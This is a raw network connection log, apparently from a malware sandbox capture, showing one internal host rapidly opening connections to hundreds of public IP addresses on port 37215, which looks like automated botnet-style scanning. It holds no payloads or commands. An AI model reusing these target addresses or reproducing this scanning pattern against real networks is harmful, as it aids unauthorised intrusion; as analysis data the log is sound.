Nov 3, 2024 15:37:11.487967014 CET	37215	60094	156.236.57.150	192.168.2.14
Nov 3, 2024 15:37:11.487977028 CET	37215	56660	156.156.70.75	192.168.2.14
Nov 3, 2024 15:37:11.487977982 CET	55646	37215	192.168.2.14	156.45.242.111
Nov 3, 2024 15:37:11.487978935 CET	55750	37215	192.168.2.14	156.157.41.72
Nov 3, 2024 15:37:11.487986088 CET	37215	52260	197.170.70.85	192.168.2.14
Nov 3, 2024 15:37:11.488001108 CET	36872	37215	192.168.2.14	156.21.7.201
Nov 3, 2024 15:37:11.488006115 CET	60094	37215	192.168.2.14	156.236.57.150
Nov 3, 2024 15:37:11.488008022 CET	52260	37215	192.168.2.14	197.170.70.85
Nov 3, 2024 15:37:11.488015890 CET	39672	37215	192.168.2.14	156.175.54.142
Nov 3, 2024 15:37:11.488015890 CET	39672	37215	192.168.2.14	156.175.54.142
Nov 3, 2024 15:37:11.488018036 CET	56660	37215	192.168.2.14	156.156.70.75
Nov 3, 2024 15:37:11.488037109 CET	40642	37215	192.168.2.14	156.175.54.142
Nov 3, 2024 15:37:11.488043070 CET	37626	37215	192.168.2.14	197.147.132.168
Nov 3, 2024 15:37:11.488043070 CET	36656	37215	192.168.2.14	197.147.132.168
Nov 3, 2024 15:37:11.488043070 CET	36656	37215	192.168.2.14	197.147.132.168
Nov 3, 2024 15:37:11.488054037 CET	36878	37215	192.168.2.14	197.31.149.169
Nov 3, 2024 15:37:11.488054037 CET	36878	37215	192.168.2.14	197.31.149.169
Nov 3, 2024 15:37:11.488075018 CET	33060	37215	192.168.2.14	41.233.248.58
Nov 3, 2024 15:37:11.488075018 CET	37848	37215	192.168.2.14	197.31.149.169
Nov 3, 2024 15:37:11.488075018 CET	33060	37215	192.168.2.14	41.233.248.58
Nov 3, 2024 15:37:11.488085032 CET	34030	37215	192.168.2.14	41.233.248.58
Nov 3, 2024 15:37:11.488101959 CET	34226	37215	192.168.2.14	41.191.196.11
Nov 3, 2024 15:37:11.488101959 CET	34226	37215	192.168.2.14	41.191.196.11
Nov 3, 2024 15:37:11.488117933 CET	35196	37215	192.168.2.14	41.191.196.11
Nov 3, 2024 15:37:11.488142967 CET	53508	37215	192.168.2.14	156.108.194.67
Nov 3, 2024 15:37:11.488142967 CET	53508	37215	192.168.2.14	156.108.194.67
Nov 3, 2024 15:37:11.488156080 CET	54478	37215	192.168.2.14	156.108.194.67
Nov 3, 2024 15:37:11.488156080 CET	37750	37215	192.168.2.14	41.204.27.199
Nov 3, 2024 15:37:11.488156080 CET	37750	37215	192.168.2.14	41.204.27.199
Nov 3, 2024 15:37:11.488157988 CET	38720	37215	192.168.2.14	41.204.27.199
Nov 3, 2024 15:37:11.488172054 CET	33438	37215	192.168.2.14	41.127.161.90
Nov 3, 2024 15:37:11.488172054 CET	33438	37215	192.168.2.14	41.127.161.90
Nov 3, 2024 15:37:11.488181114 CET	34408	37215	192.168.2.14	41.127.161.90
Nov 3, 2024 15:37:11.488194942 CET	56340	37215	192.168.2.14	197.183.22.28
Nov 3, 2024 15:37:11.488194942 CET	56340	37215	192.168.2.14	197.183.22.28
Nov 3, 2024 15:37:11.488198996 CET	57310	37215	192.168.2.14	197.183.22.28
Nov 3, 2024 15:37:11.488214016 CET	57540	37215	192.168.2.14	156.130.214.19
Nov 3, 2024 15:37:11.488214016 CET	57540	37215	192.168.2.14	156.130.214.19
Nov 3, 2024 15:37:11.488214970 CET	37215	45948	156.122.194.113	192.168.2.14
Nov 3, 2024 15:37:11.488218069 CET	58510	37215	192.168.2.14	156.130.214.19
Nov 3, 2024 15:37:11.488225937 CET	49890	37215	192.168.2.14	197.254.17.218
Nov 3, 2024 15:37:11.488225937 CET	49890	37215	192.168.2.14	197.254.17.218
Nov 3, 2024 15:37:11.488236904 CET	37215	41288	197.172.150.90	192.168.2.14
Nov 3, 2024 15:37:11.488243103 CET	50860	37215	192.168.2.14	197.254.17.218
Nov 3, 2024 15:37:11.488245010 CET	37215	58138	156.56.65.215	192.168.2.14
Nov 3, 2024 15:37:11.488254070 CET	37215	55124	197.252.145.215	192.168.2.14
Nov 3, 2024 15:37:11.488261938 CET	37215	39066	41.163.33.184	192.168.2.14
Nov 3, 2024 15:37:11.488266945 CET	37215	33424	156.93.99.76	192.168.2.14
Nov 3, 2024 15:37:11.488270998 CET	37215	52942	156.147.112.122	192.168.2.14
Nov 3, 2024 15:37:11.488271952 CET	59588	37215	192.168.2.14	41.179.185.245
Nov 3, 2024 15:37:11.488271952 CET	59588	37215	192.168.2.14	41.179.185.245
Nov 3, 2024 15:37:11.488274097 CET	41288	37215	192.168.2.14	197.172.150.90
Nov 3, 2024 15:37:11.488274097 CET	45948	37215	192.168.2.14	156.122.194.113
Nov 3, 2024 15:37:11.488275051 CET	37215	33454	41.20.124.70	192.168.2.14
Nov 3, 2024 15:37:11.488281012 CET	60558	37215	192.168.2.14	41.179.185.245
Nov 3, 2024 15:37:11.488281965 CET	58138	37215	192.168.2.14	156.56.65.215
Nov 3, 2024 15:37:11.488286972 CET	50894	37215	192.168.2.14	197.213.145.152
Nov 3, 2024 15:37:11.488286972 CET	50894	37215	192.168.2.14	197.213.145.152
Nov 3, 2024 15:37:11.488296032 CET	37215	54204	41.100.58.25	192.168.2.14
Nov 3, 2024 15:37:11.488305092 CET	37215	47612	197.221.66.71	192.168.2.14
Nov 3, 2024 15:37:11.488306046 CET	51864	37215	192.168.2.14	197.213.145.152
Nov 3, 2024 15:37:11.488306046 CET	55744	37215	192.168.2.14	156.103.148.132
Nov 3, 2024 15:37:11.488307953 CET	54774	37215	192.168.2.14	156.103.148.132
Nov 3, 2024 15:37:11.488307953 CET	54774	37215	192.168.2.14	156.103.148.132
Nov 3, 2024 15:37:11.488308907 CET	39066	37215	192.168.2.14	41.163.33.184
Nov 3, 2024 15:37:11.488311052 CET	33424	37215	192.168.2.14	156.93.99.76
Nov 3, 2024 15:37:11.488313913 CET	55124	37215	192.168.2.14	197.252.145.215
Nov 3, 2024 15:37:11.488317966 CET	37215	39812	197.7.160.38	192.168.2.14
Nov 3, 2024 15:37:11.488320112 CET	52942	37215	192.168.2.14	156.147.112.122
Nov 3, 2024 15:37:11.488321066 CET	33454	37215	192.168.2.14	41.20.124.70
Nov 3, 2024 15:37:11.488322973 CET	37215	41016	41.226.57.61	192.168.2.14
Nov 3, 2024 15:37:11.488327980 CET	37215	42908	41.61.175.218	192.168.2.14
Nov 3, 2024 15:37:11.488327980 CET	40444	37215	192.168.2.14	41.210.242.120
Nov 3, 2024 15:37:11.488327980 CET	40444	37215	192.168.2.14	41.210.242.120
Nov 3, 2024 15:37:11.488327980 CET	41414	37215	192.168.2.14	41.210.242.120
Nov 3, 2024 15:37:11.488337040 CET	37294	37215	192.168.2.14	156.1.250.39
Nov 3, 2024 15:37:11.488339901 CET	37215	35456	197.176.255.237	192.168.2.14
Nov 3, 2024 15:37:11.488349915 CET	37215	32860	41.106.89.174	192.168.2.14
Nov 3, 2024 15:37:11.488359928 CET	54204	37215	192.168.2.14	41.100.58.25
Nov 3, 2024 15:37:11.488363981 CET	47612	37215	192.168.2.14	197.221.66.71
Nov 3, 2024 15:37:11.488363981 CET	39812	37215	192.168.2.14	197.7.160.38
Nov 3, 2024 15:37:11.488364935 CET	37294	37215	192.168.2.14	156.1.250.39
Nov 3, 2024 15:37:11.488363981 CET	41016	37215	192.168.2.14	41.226.57.61
Nov 3, 2024 15:37:11.488367081 CET	37215	53594	156.243.181.34	192.168.2.14
Nov 3, 2024 15:37:11.488372087 CET	37215	54432	156.246.219.40	192.168.2.14
Nov 3, 2024 15:37:11.488372087 CET	42908	37215	192.168.2.14	41.61.175.218
Nov 3, 2024 15:37:11.488372087 CET	35456	37215	192.168.2.14	197.176.255.237
Nov 3, 2024 15:37:11.488373041 CET	38264	37215	192.168.2.14	156.1.250.39
Nov 3, 2024 15:37:11.488374949 CET	33116	37215	192.168.2.14	197.108.23.217
Nov 3, 2024 15:37:11.488374949 CET	37215	38642	156.246.61.185	192.168.2.14
Nov 3, 2024 15:37:11.488383055 CET	37215	47172	41.194.161.217	192.168.2.14
Nov 3, 2024 15:37:11.488389969 CET	33116	37215	192.168.2.14	197.108.23.217
Nov 3, 2024 15:37:11.488403082 CET	37215	60640	197.140.71.172	192.168.2.14
Nov 3, 2024 15:37:11.488409996 CET	32860	37215	192.168.2.14	41.106.89.174
Nov 3, 2024 15:37:11.488409996 CET	54432	37215	192.168.2.14	156.246.219.40
Nov 3, 2024 15:37:11.488409996 CET	53594	37215	192.168.2.14	156.243.181.34
Nov 3, 2024 15:37:11.488409996 CET	47172	37215	192.168.2.14	41.194.161.217
Nov 3, 2024 15:37:11.488413095 CET	38642	37215	192.168.2.14	156.246.61.185
Nov 3, 2024 15:37:11.488420963 CET	37215	49242	41.12.251.234	192.168.2.14
Nov 3, 2024 15:37:11.488430977 CET	37215	54356	41.163.133.62	192.168.2.14
Nov 3, 2024 15:37:11.488430977 CET	34086	37215	192.168.2.14	197.108.23.217
Nov 3, 2024 15:37:11.488435030 CET	60640	37215	192.168.2.14	197.140.71.172
Nov 3, 2024 15:37:11.488435984 CET	39056	37215	192.168.2.14	156.135.37.168
Nov 3, 2024 15:37:11.488435984 CET	39056	37215	192.168.2.14	156.135.37.168
Nov 3, 2024 15:37:11.488442898 CET	37215	60998	41.31.230.34	192.168.2.14
Nov 3, 2024 15:37:11.488454103 CET	37215	49032	156.111.125.131	192.168.2.14
Nov 3, 2024 15:37:11.488464117 CET	37215	45022	156.21.107.185	192.168.2.14
Nov 3, 2024 15:37:11.488466978 CET	49242	37215	192.168.2.14	41.12.251.234
Nov 3, 2024 15:37:11.488466978 CET	54356	37215	192.168.2.14	41.163.133.62
Nov 3, 2024 15:37:11.488467932 CET	60998	37215	192.168.2.14	41.31.230.34
Nov 3, 2024 15:37:11.488487005 CET	43864	37215	192.168.2.14	197.204.14.128
Nov 3, 2024 15:37:11.488491058 CET	40026	37215	192.168.2.14	156.135.37.168
Nov 3, 2024 15:37:11.488495111 CET	45022	37215	192.168.2.14	156.21.107.185
Nov 3, 2024 15:37:11.488495111 CET	49032	37215	192.168.2.14	156.111.125.131
Nov 3, 2024 15:37:11.488500118 CET	43864	37215	192.168.2.14	197.204.14.128
Nov 3, 2024 15:37:11.488511086 CET	44834	37215	192.168.2.14	197.204.14.128
Nov 3, 2024 15:37:11.488517046 CET	48942	37215	192.168.2.14	41.22.109.55
Nov 3, 2024 15:37:11.488523006 CET	48942	37215	192.168.2.14	41.22.109.55
Nov 3, 2024 15:37:11.488538980 CET	49912	37215	192.168.2.14	41.22.109.55
Nov 3, 2024 15:37:11.488549948 CET	49530	37215	192.168.2.14	197.156.27.154
Nov 3, 2024 15:37:11.488549948 CET	49530	37215	192.168.2.14	197.156.27.154
Nov 3, 2024 15:37:11.488565922 CET	50498	37215	192.168.2.14	197.156.27.154
Nov 3, 2024 15:37:11.488576889 CET	49152	37215	192.168.2.14	197.226.142.141
Nov 3, 2024 15:37:11.488576889 CET	49152	37215	192.168.2.14	197.226.142.141
Nov 3, 2024 15:37:11.488600016 CET	40250	37215	192.168.2.14	156.3.134.146
Nov 3, 2024 15:37:11.488600016 CET	50120	37215	192.168.2.14	197.226.142.141
Nov 3, 2024 15:37:11.488600016 CET	40250	37215	192.168.2.14	156.3.134.146
Nov 3, 2024 15:37:11.488600016 CET	41218	37215	192.168.2.14	156.3.134.146
Nov 3, 2024 15:37:11.488604069 CET	56962	37215	192.168.2.14	156.32.248.140
Nov 3, 2024 15:37:11.488605022 CET	56962	37215	192.168.2.14	156.32.248.140
Nov 3, 2024 15:37:11.488631010 CET	57928	37215	192.168.2.14	156.32.248.140
Nov 3, 2024 15:37:11.488631010 CET	40870	37215	192.168.2.14	41.115.20.24
Nov 3, 2024 15:37:11.488631010 CET	40870	37215	192.168.2.14	41.115.20.24
Nov 3, 2024 15:37:11.488651991 CET	41834	37215	192.168.2.14	41.115.20.24
Nov 3, 2024 15:37:11.488656044 CET	54772	37215	192.168.2.14	41.166.36.238
Nov 3, 2024 15:37:11.488656044 CET	54772	37215	192.168.2.14	41.166.36.238
Nov 3, 2024 15:37:11.488671064 CET	55736	37215	192.168.2.14	41.166.36.238
Nov 3, 2024 15:37:11.488686085 CET	45430	37215	192.168.2.14	41.219.228.84
Nov 3, 2024 15:37:11.488686085 CET	45430	37215	192.168.2.14	41.219.228.84
Nov 3, 2024 15:37:11.488689899 CET	46394	37215	192.168.2.14	41.219.228.84
Nov 3, 2024 15:37:11.488703012 CET	33002	37215	192.168.2.14	197.137.102.189
Nov 3, 2024 15:37:11.488703012 CET	33002	37215	192.168.2.14	197.137.102.189
Nov 3, 2024 15:37:11.488724947 CET	33966	37215	192.168.2.14	197.137.102.189
Nov 3, 2024 15:37:11.488724947 CET	51742	37215	192.168.2.14	41.127.70.140
Nov 3, 2024 15:37:11.488733053 CET	51742	37215	192.168.2.14	41.127.70.140
Nov 3, 2024 15:37:11.488749981 CET	52706	37215	192.168.2.14	41.127.70.140
Nov 3, 2024 15:37:11.488780975 CET	42548	37215	192.168.2.14	156.221.255.137
Nov 3, 2024 15:37:11.488784075 CET	41604	37215	192.168.2.14	156.221.255.137
Nov 3, 2024 15:37:11.488784075 CET	41604	37215	192.168.2.14	156.221.255.137
Nov 3, 2024 15:37:11.488784075 CET	50536	37215	192.168.2.14	41.53.63.239
Nov 3, 2024 15:37:11.488785028 CET	49574	37215	192.168.2.14	41.53.63.239
Nov 3, 2024 15:37:11.488785028 CET	49574	37215	192.168.2.14	41.53.63.239
Nov 3, 2024 15:37:11.488795996 CET	57902	37215	192.168.2.14	41.95.41.83
Nov 3, 2024 15:37:11.488795996 CET	57902	37215	192.168.2.14	41.95.41.83
Nov 3, 2024 15:37:11.488802910 CET	58844	37215	192.168.2.14	41.95.41.83
Nov 3, 2024 15:37:11.488810062 CET	42620	37215	192.168.2.14	41.217.7.145
Nov 3, 2024 15:37:11.488810062 CET	42620	37215	192.168.2.14	41.217.7.145
Nov 3, 2024 15:37:11.488820076 CET	43560	37215	192.168.2.14	41.217.7.145
Nov 3, 2024 15:37:11.488831043 CET	43330	37215	192.168.2.14	156.205.29.107
Nov 3, 2024 15:37:11.488831043 CET	43330	37215	192.168.2.14	156.205.29.107
Nov 3, 2024 15:37:11.488846064 CET	44256	37215	192.168.2.14	156.205.29.107
Nov 3, 2024 15:37:11.488862991 CET	56510	37215	192.168.2.14	41.215.234.93
Nov 3, 2024 15:37:11.488863945 CET	55592	37215	192.168.2.14	41.215.234.93
Nov 3, 2024 15:37:11.488863945 CET	55592	37215	192.168.2.14	41.215.234.93
Nov 3, 2024 15:37:11.488873959 CET	55998	37215	192.168.2.14	156.74.107.240
Nov 3, 2024 15:37:11.488879919 CET	55998	37215	192.168.2.14	156.74.107.240
Nov 3, 2024 15:37:11.488888025 CET	56914	37215	192.168.2.14	156.74.107.240
Nov 3, 2024 15:37:11.488926888 CET	55748	37215	192.168.2.14	156.10.11.88
Nov 3, 2024 15:37:11.488926888 CET	55748	37215	192.168.2.14	156.10.11.88
Nov 3, 2024 15:37:11.488930941 CET	56750	37215	192.168.2.14	156.10.11.88
Nov 3, 2024 15:37:11.488945961 CET	38342	37215	192.168.2.14	41.236.104.122
Nov 3, 2024 15:37:11.488945961 CET	38342	37215	192.168.2.14	41.236.104.122
Nov 3, 2024 15:37:11.488948107 CET	39334	37215	192.168.2.14	41.236.104.122
Nov 3, 2024 15:37:11.488960981 CET	47600	37215	192.168.2.14	41.37.247.136
Nov 3, 2024 15:37:11.488960981 CET	47600	37215	192.168.2.14	41.37.247.136
Nov 3, 2024 15:37:11.488971949 CET	48576	37215	192.168.2.14	41.37.247.136
Nov 3, 2024 15:37:11.488985062 CET	45744	37215	192.168.2.14	41.120.114.208
Nov 3, 2024 15:37:11.488985062 CET	45744	37215	192.168.2.14	41.120.114.208
Nov 3, 2024 15:37:11.488995075 CET	46718	37215	192.168.2.14	41.120.114.208
Nov 3, 2024 15:37:11.489017010 CET	46172	37215	192.168.2.14	41.227.68.72
Nov 3, 2024 15:37:11.489017010 CET	46172	37215	192.168.2.14	41.227.68.72
Nov 3, 2024 15:37:11.489023924 CET	47106	37215	192.168.2.14	41.227.68.72
Nov 3, 2024 15:37:11.489063025 CET	41994	37215	192.168.2.14	156.5.106.240
Nov 3, 2024 15:37:11.489063025 CET	41994	37215	192.168.2.14	156.5.106.240
Nov 3, 2024 15:37:11.489067078 CET	42998	37215	192.168.2.14	156.5.106.240
Nov 3, 2024 15:37:11.489077091 CET	49030	37215	192.168.2.14	156.197.2.99
Nov 3, 2024 15:37:11.489077091 CET	49030	37215	192.168.2.14	156.197.2.99
Nov 3, 2024 15:37:11.489092112 CET	50020	37215	192.168.2.14	156.197.2.99
Nov 3, 2024 15:37:11.489101887 CET	49364	37215	192.168.2.14	197.211.76.111
Nov 3, 2024 15:37:11.489101887 CET	49364	37215	192.168.2.14	197.211.76.111
Nov 3, 2024 15:37:11.489113092 CET	50352	37215	192.168.2.14	197.211.76.111
Nov 3, 2024 15:37:11.489115953 CET	52250	37215	192.168.2.14	197.4.6.115
Nov 3, 2024 15:37:11.489115953 CET	52250	37215	192.168.2.14	197.4.6.115
Nov 3, 2024 15:37:11.489134073 CET	53236	37215	192.168.2.14	197.4.6.115
Nov 3, 2024 15:37:11.489142895 CET	47282	37215	192.168.2.14	156.66.38.190
Nov 3, 2024 15:37:11.489142895 CET	47282	37215	192.168.2.14	156.66.38.190
Nov 3, 2024 15:37:11.489151955 CET	48266	37215	192.168.2.14	156.66.38.190
Nov 3, 2024 15:37:11.489160061 CET	49060	37215	192.168.2.14	41.104.189.119
Nov 3, 2024 15:37:11.489160061 CET	49060	37215	192.168.2.14	41.104.189.119
Nov 3, 2024 15:37:11.489177942 CET	50044	37215	192.168.2.14	41.104.189.119
Nov 3, 2024 15:37:11.489190102 CET	33818	37215	192.168.2.14	41.208.203.43
Nov 3, 2024 15:37:11.489190102 CET	33818	37215	192.168.2.14	41.208.203.43
Nov 3, 2024 15:37:11.489197969 CET	34802	37215	192.168.2.14	41.208.203.43
Nov 3, 2024 15:37:11.489217043 CET	50878	37215	192.168.2.14	197.3.79.206
Nov 3, 2024 15:37:11.489217043 CET	49894	37215	192.168.2.14	197.3.79.206
Nov 3, 2024 15:37:11.489217043 CET	49894	37215	192.168.2.14	197.3.79.206
Nov 3, 2024 15:37:11.489233017 CET	53244	37215	192.168.2.14	197.170.70.85
Nov 3, 2024 15:37:11.489234924 CET	52260	37215	192.168.2.14	197.170.70.85
Nov 3, 2024 15:37:11.489234924 CET	52260	37215	192.168.2.14	197.170.70.85
Nov 3, 2024 15:37:11.489245892 CET	58138	37215	192.168.2.14	156.56.65.215
Nov 3, 2024 15:37:11.489245892 CET	58138	37215	192.168.2.14	156.56.65.215
Nov 3, 2024 15:37:11.489259958 CET	59120	37215	192.168.2.14	156.56.65.215
Nov 3, 2024 15:37:11.489270926 CET	57990	37215	192.168.2.14	156.68.52.194
Nov 3, 2024 15:37:11.489270926 CET	57990	37215	192.168.2.14	156.68.52.194
Nov 3, 2024 15:37:11.489280939 CET	58970	37215	192.168.2.14	156.68.52.194
Nov 3, 2024 15:37:11.489289999 CET	49242	37215	192.168.2.14	41.12.251.234
Nov 3, 2024 15:37:11.489289999 CET	49242	37215	192.168.2.14	41.12.251.234
Nov 3, 2024 15:37:11.489305973 CET	50220	37215	192.168.2.14	41.12.251.234
Nov 3, 2024 15:37:11.489314079 CET	56926	37215	192.168.2.14	197.27.247.143
Nov 3, 2024 15:37:11.489314079 CET	56926	37215	192.168.2.14	197.27.247.143
Nov 3, 2024 15:37:11.489326000 CET	57904	37215	192.168.2.14	197.27.247.143
Nov 3, 2024 15:37:11.489332914 CET	39812	37215	192.168.2.14	197.7.160.38
Nov 3, 2024 15:37:11.489332914 CET	39812	37215	192.168.2.14	197.7.160.38
Nov 3, 2024 15:37:11.489351034 CET	40790	37215	192.168.2.14	197.7.160.38
Nov 3, 2024 15:37:11.489357948 CET	55646	37215	192.168.2.14	156.45.242.111
Nov 3, 2024 15:37:11.489357948 CET	55646	37215	192.168.2.14	156.45.242.111
Nov 3, 2024 15:37:11.489377975 CET	32860	37215	192.168.2.14	41.106.89.174
Nov 3, 2024 15:37:11.489377975 CET	56624	37215	192.168.2.14	156.45.242.111
Nov 3, 2024 15:37:11.489377975 CET	32860	37215	192.168.2.14	41.106.89.174
Nov 3, 2024 15:37:11.489404917 CET	33838	37215	192.168.2.14	41.106.89.174
Nov 3, 2024 15:37:11.489413023 CET	53594	37215	192.168.2.14	156.243.181.34
Nov 3, 2024 15:37:11.489413023 CET	53594	37215	192.168.2.14	156.243.181.34
Nov 3, 2024 15:37:11.489413023 CET	54572	37215	192.168.2.14	156.243.181.34
Nov 3, 2024 15:37:11.489413023 CET	56660	37215	192.168.2.14	156.156.70.75
Nov 3, 2024 15:37:11.489413023 CET	56660	37215	192.168.2.14	156.156.70.75
Nov 3, 2024 15:37:11.489430904 CET	57638	37215	192.168.2.14	156.156.70.75
Nov 3, 2024 15:37:11.489442110 CET	37242	37215	192.168.2.14	41.28.107.158
Nov 3, 2024 15:37:11.489442110 CET	37242	37215	192.168.2.14	41.28.107.158
Nov 3, 2024 15:37:11.489459038 CET	38218	37215	192.168.2.14	41.28.107.158
Nov 3, 2024 15:37:11.489459038 CET	58762	37215	192.168.2.14	156.178.4.247
Nov 3, 2024 15:37:11.489471912 CET	58762	37215	192.168.2.14	156.178.4.247
Nov 3, 2024 15:37:11.489480972 CET	59738	37215	192.168.2.14	156.178.4.247
Nov 3, 2024 15:37:11.489485025 CET	55750	37215	192.168.2.14	156.157.41.72
Nov 3, 2024 15:37:11.489485025 CET	55750	37215	192.168.2.14	156.157.41.72
Nov 3, 2024 15:37:11.489497900 CET	56724	37215	192.168.2.14	156.157.41.72
Nov 3, 2024 15:37:11.489520073 CET	60094	37215	192.168.2.14	156.236.57.150
Nov 3, 2024 15:37:11.489520073 CET	60094	37215	192.168.2.14	156.236.57.150
Nov 3, 2024 15:37:11.489536047 CET	32834	37215	192.168.2.14	156.236.57.150
Nov 3, 2024 15:37:11.489542961 CET	45948	37215	192.168.2.14	156.122.194.113
Nov 3, 2024 15:37:11.489542961 CET	45948	37215	192.168.2.14	156.122.194.113
Nov 3, 2024 15:37:11.489553928 CET	46918	37215	192.168.2.14	156.122.194.113
Nov 3, 2024 15:37:11.489567995 CET	41016	37215	192.168.2.14	41.226.57.61
Nov 3, 2024 15:37:11.489567995 CET	41016	37215	192.168.2.14	41.226.57.61
Nov 3, 2024 15:37:11.489593983 CET	41288	37215	192.168.2.14	197.172.150.90
Nov 3, 2024 15:37:11.489593983 CET	41288	37215	192.168.2.14	197.172.150.90
Nov 3, 2024 15:37:11.489594936 CET	41986	37215	192.168.2.14	41.226.57.61
Nov 3, 2024 15:37:11.489609957 CET	39066	37215	192.168.2.14	41.163.33.184
Nov 3, 2024 15:37:11.489613056 CET	42258	37215	192.168.2.14	197.172.150.90
Nov 3, 2024 15:37:11.489619017 CET	39066	37215	192.168.2.14	41.163.33.184
Nov 3, 2024 15:37:11.489634991 CET	40036	37215	192.168.2.14	41.163.33.184
Nov 3, 2024 15:37:11.489646912 CET	35682	37215	192.168.2.14	156.225.156.99
Nov 3, 2024 15:37:11.489646912 CET	35682	37215	192.168.2.14	156.225.156.99
Nov 3, 2024 15:37:11.489659071 CET	36652	37215	192.168.2.14	156.225.156.99
Nov 3, 2024 15:37:11.489671946 CET	33066	37215	192.168.2.14	41.197.53.234
Nov 3, 2024 15:37:11.489671946 CET	33066	37215	192.168.2.14	41.197.53.234
Nov 3, 2024 15:37:11.489686966 CET	34036	37215	192.168.2.14	41.197.53.234
Nov 3, 2024 15:37:11.489686966 CET	33532	37215	192.168.2.14	156.78.250.236
Nov 3, 2024 15:37:11.489702940 CET	33532	37215	192.168.2.14	156.78.250.236
Nov 3, 2024 15:37:11.489716053 CET	34502	37215	192.168.2.14	156.78.250.236
Nov 3, 2024 15:37:11.489721060 CET	33454	37215	192.168.2.14	41.20.124.70
Nov 3, 2024 15:37:11.489721060 CET	33454	37215	192.168.2.14	41.20.124.70
Nov 3, 2024 15:37:11.489733934 CET	34424	37215	192.168.2.14	41.20.124.70
Nov 3, 2024 15:37:11.489733934 CET	60998	37215	192.168.2.14	41.31.230.34
Nov 3, 2024 15:37:11.489742041 CET	60998	37215	192.168.2.14	41.31.230.34
Nov 3, 2024 15:37:11.489748955 CET	33736	37215	192.168.2.14	41.31.230.34
Nov 3, 2024 15:37:11.489763021 CET	58866	37215	192.168.2.14	197.117.220.43
Nov 3, 2024 15:37:11.489763021 CET	58866	37215	192.168.2.14	197.117.220.43
Nov 3, 2024 15:37:11.489783049 CET	59836	37215	192.168.2.14	197.117.220.43
Nov 3, 2024 15:37:11.489789963 CET	42908	37215	192.168.2.14	41.61.175.218
Nov 3, 2024 15:37:11.489789963 CET	42908	37215	192.168.2.14	41.61.175.218
Nov 3, 2024 15:37:11.489789963 CET	43878	37215	192.168.2.14	41.61.175.218
Nov 3, 2024 15:37:11.489801884 CET	49032	37215	192.168.2.14	156.111.125.131
Nov 3, 2024 15:37:11.489801884 CET	49032	37215	192.168.2.14	156.111.125.131
Nov 3, 2024 15:37:11.489815950 CET	50002	37215	192.168.2.14	156.111.125.131
Nov 3, 2024 15:37:11.489825010 CET	38642	37215	192.168.2.14	156.246.61.185
Nov 3, 2024 15:37:11.489825010 CET	38642	37215	192.168.2.14	156.246.61.185
Nov 3, 2024 15:37:11.489845991 CET	39612	37215	192.168.2.14	156.246.61.185
Nov 3, 2024 15:37:11.489845991 CET	52942	37215	192.168.2.14	156.147.112.122
Nov 3, 2024 15:37:11.489845991 CET	52942	37215	192.168.2.14	156.147.112.122
Nov 3, 2024 15:37:11.489855051 CET	53912	37215	192.168.2.14	156.147.112.122
Nov 3, 2024 15:37:11.489864111 CET	60640	37215	192.168.2.14	197.140.71.172
Nov 3, 2024 15:37:11.489864111 CET	60640	37215	192.168.2.14	197.140.71.172
Nov 3, 2024 15:37:11.489876986 CET	33378	37215	192.168.2.14	197.140.71.172
Nov 3, 2024 15:37:11.489881039 CET	47612	37215	192.168.2.14	197.221.66.71
Nov 3, 2024 15:37:11.489881039 CET	47612	37215	192.168.2.14	197.221.66.71
Nov 3, 2024 15:37:11.489898920 CET	48582	37215	192.168.2.14	197.221.66.71
Nov 3, 2024 15:37:11.489898920 CET	35456	37215	192.168.2.14	197.176.255.237
Nov 3, 2024 15:37:11.489907980 CET	35456	37215	192.168.2.14	197.176.255.237
Nov 3, 2024 15:37:11.489917040 CET	36426	37215	192.168.2.14	197.176.255.237
Nov 3, 2024 15:37:11.489931107 CET	47940	37215	192.168.2.14	156.246.166.190
Nov 3, 2024 15:37:11.489931107 CET	47940	37215	192.168.2.14	156.246.166.190
Nov 3, 2024 15:37:11.489948034 CET	45022	37215	192.168.2.14	156.21.107.185
Nov 3, 2024 15:37:11.489948034 CET	48910	37215	192.168.2.14	156.246.166.190
Nov 3, 2024 15:37:11.489948034 CET	45022	37215	192.168.2.14	156.21.107.185
Nov 3, 2024 15:37:11.489967108 CET	45990	37215	192.168.2.14	156.21.107.185
Nov 3, 2024 15:37:11.489967108 CET	33424	37215	192.168.2.14	156.93.99.76
Nov 3, 2024 15:37:11.489967108 CET	33424	37215	192.168.2.14	156.93.99.76
Nov 3, 2024 15:37:11.489984035 CET	34390	37215	192.168.2.14	156.93.99.76
Nov 3, 2024 15:37:11.489986897 CET	54356	37215	192.168.2.14	41.163.133.62
Nov 3, 2024 15:37:11.489986897 CET	54356	37215	192.168.2.14	41.163.133.62
Nov 3, 2024 15:37:11.490011930 CET	55320	37215	192.168.2.14	41.163.133.62
Nov 3, 2024 15:37:11.490011930 CET	55124	37215	192.168.2.14	197.252.145.215
Nov 3, 2024 15:37:11.490011930 CET	55124	37215	192.168.2.14	197.252.145.215
Nov 3, 2024 15:37:11.490025997 CET	56088	37215	192.168.2.14	197.252.145.215
Nov 3, 2024 15:37:11.490037918 CET	54432	37215	192.168.2.14	156.246.219.40
Nov 3, 2024 15:37:11.490037918 CET	54432	37215	192.168.2.14	156.246.219.40
Nov 3, 2024 15:37:11.490055084 CET	55388	37215	192.168.2.14	156.246.219.40
Nov 3, 2024 15:37:11.490062952 CET	47172	37215	192.168.2.14	41.194.161.217
Nov 3, 2024 15:37:11.490063906 CET	47172	37215	192.168.2.14	41.194.161.217
Nov 3, 2024 15:37:11.490075111 CET	48126	37215	192.168.2.14	41.194.161.217
Nov 3, 2024 15:37:11.490099907 CET	54204	37215	192.168.2.14	41.100.58.25
Nov 3, 2024 15:37:11.490099907 CET	55158	37215	192.168.2.14	41.100.58.25
Nov 3, 2024 15:37:11.490099907 CET	54204	37215	192.168.2.14	41.100.58.25
Nov 3, 2024 15:37:11.492142916 CET	37215	35945	197.40.83.70	192.168.2.14
Nov 3, 2024 15:37:11.492187977 CET	35945	37215	192.168.2.14	197.40.83.70
Nov 3, 2024 15:37:11.492748976 CET	37215	48064	41.218.80.154	192.168.2.14
Nov 3, 2024 15:37:11.492790937 CET	48064	37215	192.168.2.14	41.218.80.154
Nov 3, 2024 15:37:11.493251085 CET	37215	44796	197.65.19.126	192.168.2.14
Nov 3, 2024 15:37:11.493261099 CET	37215	48064	41.218.80.154	192.168.2.14
Nov 3, 2024 15:37:11.493272066 CET	37215	48064	41.218.80.154	192.168.2.14
Nov 3, 2024 15:37:11.493290901 CET	44796	37215	192.168.2.14	197.65.19.126
Nov 3, 2024 15:37:11.493346930 CET	37215	44796	197.65.19.126	192.168.2.14
Nov 3, 2024 15:37:11.493367910 CET	37215	44796	197.65.19.126	192.168.2.14
